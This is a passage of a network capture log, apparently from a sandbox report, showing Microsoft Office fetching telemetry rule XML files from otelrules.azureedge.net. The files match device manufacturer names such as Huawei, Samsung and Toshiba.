2024-11-28 07:56:46 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:46 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 37db9b91-d01e-0066-0516-41ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075646Z-174f7845968px8v7hC1EWR08ng0000000yf0000000002938 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:46 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:48 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:48 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075648Z-174f7845968qj8jrhC1EWRh41s0000000y3g000000004cz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:48 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:48 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075648Z-174f7845968vqt9xhC1EWRgten0000000y900000000011cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:48 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:48 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:48 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 14e4a643-101e-007a-3c66-40047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075648Z-174f7845968cdxdrhC1EWRg0en0000000y6g000000000tfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:48 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:48 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:48 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075648Z-174f7845968xr5c2hC1EWRd0hn0000000f2g000000001q5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:48 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:48 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:48 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075648Z-174f7845968l4kp6hC1EWRe8840000000yeg000000002nt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:48 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:50 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075650Z-174f7845968kdththC1EWRzvxn0000000am0000000000wnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:50 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:50 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075650Z-174f7845968xr5c2hC1EWRd0hn0000000f1g000000002v0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:50 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:50 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:50 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075650Z-174f7845968swgbqhC1EWRmnb40000000yag0000000047fw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:50 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:50 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: f58b0ab1-f01e-0000-6878-40193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075650Z-174f7845968l4kp6hC1EWRe8840000000y9g00000000but3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.8	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:52 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:52 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 56bedb93-201e-0033-7607-41b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075652Z-174f7845968cdxdrhC1EWRg0en0000000y1g0000000095bv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:52 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:52 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:52 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 3eca19a5-d01e-005a-2410-417fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075652Z-174f7845968pght8hC1EWRyvxg000000015000000000e6eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:52 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

